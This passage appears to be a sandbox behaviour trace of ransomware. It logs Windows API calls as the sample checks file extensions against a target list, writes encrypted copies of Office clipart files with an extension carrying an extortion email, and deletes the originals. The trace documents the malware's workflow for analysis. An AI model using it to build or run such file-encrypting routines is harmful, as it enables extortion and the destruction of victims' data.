	[0056.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.819] lstrlenW (lpString=".pdf") returned 4
	[0056.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.819] lstrlenW (lpString=".xls") returned 4
	[0056.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.819] lstrlenW (lpString=".xlsx") returned 5
	[0056.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.819] lstrlenW (lpString=".ppt") returned 4
	[0056.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0056.819] lstrlenW (lpString=".zip") returned 4
	[0056.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.819] lstrlenW (lpString=".rar") returned 4
	[0056.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.819] lstrlenW (lpString=".bz2") returned 4
	[0056.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.819] lstrlenW (lpString=".7z") returned 3
	[0056.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0056.819] lstrlenW (lpString=".dbf") returned 4
	[0056.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0056.819] lstrlenW (lpString=".1cd") returned 4
	[0056.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0056.819] lstrlenW (lpString=".jpg") returned 4
	[0056.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.820] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.820] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0056.820] GetLastError () returned 0x0
	[0056.820] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x6b0, lpOverlapped=0x0) returned 1
	[0056.830] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x6c0, lpOverlapped=0x0) returned 1
	[0056.831] ReadFile (in: hFile=0x388, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.831] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.831] SetEndOfFile (hFile=0x2f0) returned 1
	[0056.831] CloseHandle (hObject=0x2f0) returned 1
	[0056.832] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.832] SetEndOfFile (hFile=0x388) returned 1
	[0056.833] CloseHandle (hObject=0x388) returned 1
	[0056.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1
	[0056.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0056.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0056.836] lstrlenW (lpString=".doc") returned 4
	[0056.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.837] lstrlenW (lpString=".docx") returned 5
	[0056.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.837] lstrlenW (lpString=".pdf") returned 4
	[0056.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.837] lstrlenW (lpString=".xls") returned 4
	[0056.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.837] lstrlenW (lpString=".xlsx") returned 5
	[0056.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.837] lstrlenW (lpString=".ppt") returned 4
	[0056.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0056.837] lstrlenW (lpString=".zip") returned 4
	[0056.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.837] lstrlenW (lpString=".rar") returned 4
	[0056.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.837] lstrlenW (lpString=".bz2") returned 4
	[0056.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.837] lstrlenW (lpString=".7z") returned 3
	[0056.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0056.837] lstrlenW (lpString=".dbf") returned 4
	[0056.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0056.837] lstrlenW (lpString=".1cd") returned 4
	[0056.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0056.837] lstrlenW (lpString=".jpg") returned 4
	[0056.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.849] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.849] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0056.855] GetLastError () returned 0x0
	[0056.855] ReadFile (in: hFile=0x2e4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1370, lpOverlapped=0x0) returned 1
	[0056.894] WriteFile (in: hFile=0x390, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1380, lpOverlapped=0x0) returned 1
	[0056.894] ReadFile (in: hFile=0x2e4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.894] WriteFile (in: hFile=0x390, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.895] SetEndOfFile (hFile=0x390) returned 1
	[0056.895] CloseHandle (hObject=0x390) returned 1
	[0056.895] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.895] SetEndOfFile (hFile=0x2e4) returned 1
	[0056.896] CloseHandle (hObject=0x2e4) returned 1
	[0056.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1
	[0056.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0056.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0056.909] lstrlenW (lpString=".doc") returned 4
	[0056.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.909] lstrlenW (lpString=".docx") returned 5
	[0056.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.909] lstrlenW (lpString=".pdf") returned 4
	[0056.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.909] lstrlenW (lpString=".xls") returned 4
	[0056.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.909] lstrlenW (lpString=".xlsx") returned 5
	[0056.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.909] lstrlenW (lpString=".ppt") returned 4
	[0056.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0056.909] lstrlenW (lpString=".zip") returned 4
	[0056.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.909] lstrlenW (lpString=".rar") returned 4
	[0056.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.909] lstrlenW (lpString=".bz2") returned 4
	[0056.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.909] lstrlenW (lpString=".7z") returned 3
	[0056.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0056.909] lstrlenW (lpString=".dbf") returned 4
	[0056.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0056.909] lstrlenW (lpString=".1cd") returned 4
	[0056.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0056.909] lstrlenW (lpString=".jpg") returned 4
	[0056.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.910] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.910] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0056.910] GetLastError () returned 0x0
	[0056.910] ReadFile (in: hFile=0x2e4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xed4, lpOverlapped=0x0) returned 1
	[0056.920] WriteFile (in: hFile=0x390, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xee0, lpOverlapped=0x0) returned 1
	[0056.921] ReadFile (in: hFile=0x2e4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.921] WriteFile (in: hFile=0x390, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.921] SetEndOfFile (hFile=0x390) returned 1
	[0056.923] CloseHandle (hObject=0x390) returned 1
	[0056.925] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.925] SetEndOfFile (hFile=0x2e4) returned 1
	[0056.926] CloseHandle (hObject=0x2e4) returned 1
	[0056.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1
	[0056.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0056.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0056.928] lstrlenW (lpString=".doc") returned 4
	[0056.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.928] lstrlenW (lpString=".docx") returned 5
	[0056.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.928] lstrlenW (lpString=".pdf") returned 4
	[0056.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.928] lstrlenW (lpString=".xls") returned 4
	[0056.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.928] lstrlenW (lpString=".xlsx") returned 5
	[0056.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.928] lstrlenW (lpString=".ppt") returned 4
	[0056.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0056.928] lstrlenW (lpString=".zip") returned 4
	[0056.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.928] lstrlenW (lpString=".rar") returned 4
	[0056.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.928] lstrlenW (lpString=".bz2") returned 4
	[0056.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.928] lstrlenW (lpString=".7z") returned 3
	[0056.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0056.933] lstrlenW (lpString=".dbf") returned 4
	[0056.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0056.933] lstrlenW (lpString=".1cd") returned 4
	[0056.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0056.933] lstrlenW (lpString=".jpg") returned 4
	[0056.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.934] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.934] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0056.936] GetLastError () returned 0x0
	[0056.936] ReadFile (in: hFile=0x350, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xda6, lpOverlapped=0x0) returned 1
	[0056.941] WriteFile (in: hFile=0x390, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xdb0, lpOverlapped=0x0) returned 1
	[0056.942] ReadFile (in: hFile=0x350, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.942] WriteFile (in: hFile=0x390, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.942] SetEndOfFile (hFile=0x390) returned 1
	[0056.945] CloseHandle (hObject=0x390) returned 1
	[0056.946] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.946] SetEndOfFile (hFile=0x350) returned 1
	[0056.947] CloseHandle (hObject=0x350) returned 1
	[0056.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1
	[0056.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0056.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0056.951] lstrlenW (lpString=".doc") returned 4
	[0056.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.951] lstrlenW (lpString=".docx") returned 5
	[0056.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.951] lstrlenW (lpString=".pdf") returned 4
	[0056.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.951] lstrlenW (lpString=".xls") returned 4
	[0056.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.951] lstrlenW (lpString=".xlsx") returned 5
	[0056.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.951] lstrlenW (lpString=".ppt") returned 4
	[0056.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0056.952] lstrlenW (lpString=".zip") returned 4
	[0056.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.952] lstrlenW (lpString=".rar") returned 4
	[0056.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.952] lstrlenW (lpString=".bz2") returned 4
	[0056.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.952] lstrlenW (lpString=".7z") returned 3
	[0056.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0056.952] lstrlenW (lpString=".dbf") returned 4
	[0056.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0056.952] lstrlenW (lpString=".1cd") returned 4
	[0056.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0056.952] lstrlenW (lpString=".jpg") returned 4
	[0056.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.958] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.958] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0056.958] GetLastError () returned 0x0
	[0056.958] ReadFile (in: hFile=0x390, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xf6c, lpOverlapped=0x0) returned 1
	[0056.961] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xf70, lpOverlapped=0x0) returned 1
	[0056.962] ReadFile (in: hFile=0x390, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.962] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.962] SetEndOfFile (hFile=0x350) returned 1
	[0056.962] CloseHandle (hObject=0x350) returned 1
	[0056.963] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.963] SetEndOfFile (hFile=0x390) returned 1
	[0056.964] CloseHandle (hObject=0x390) returned 1
	[0056.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1
	[0056.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0056.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0056.964] lstrlenW (lpString=".doc") returned 4
	[0056.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.964] lstrlenW (lpString=".docx") returned 5
	[0056.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.964] lstrlenW (lpString=".pdf") returned 4
	[0056.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.964] lstrlenW (lpString=".xls") returned 4
	[0056.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.964] lstrlenW (lpString=".xlsx") returned 5
	[0056.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.964] lstrlenW (lpString=".ppt") returned 4
	[0056.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0056.965] lstrlenW (lpString=".zip") returned 4
	[0056.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.965] lstrlenW (lpString=".rar") returned 4
	[0056.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.965] lstrlenW (lpString=".bz2") returned 4
	[0056.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.965] lstrlenW (lpString=".7z") returned 3
	[0056.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0056.965] lstrlenW (lpString=".dbf") returned 4
	[0056.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0056.965] lstrlenW (lpString=".1cd") returned 4
	[0056.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
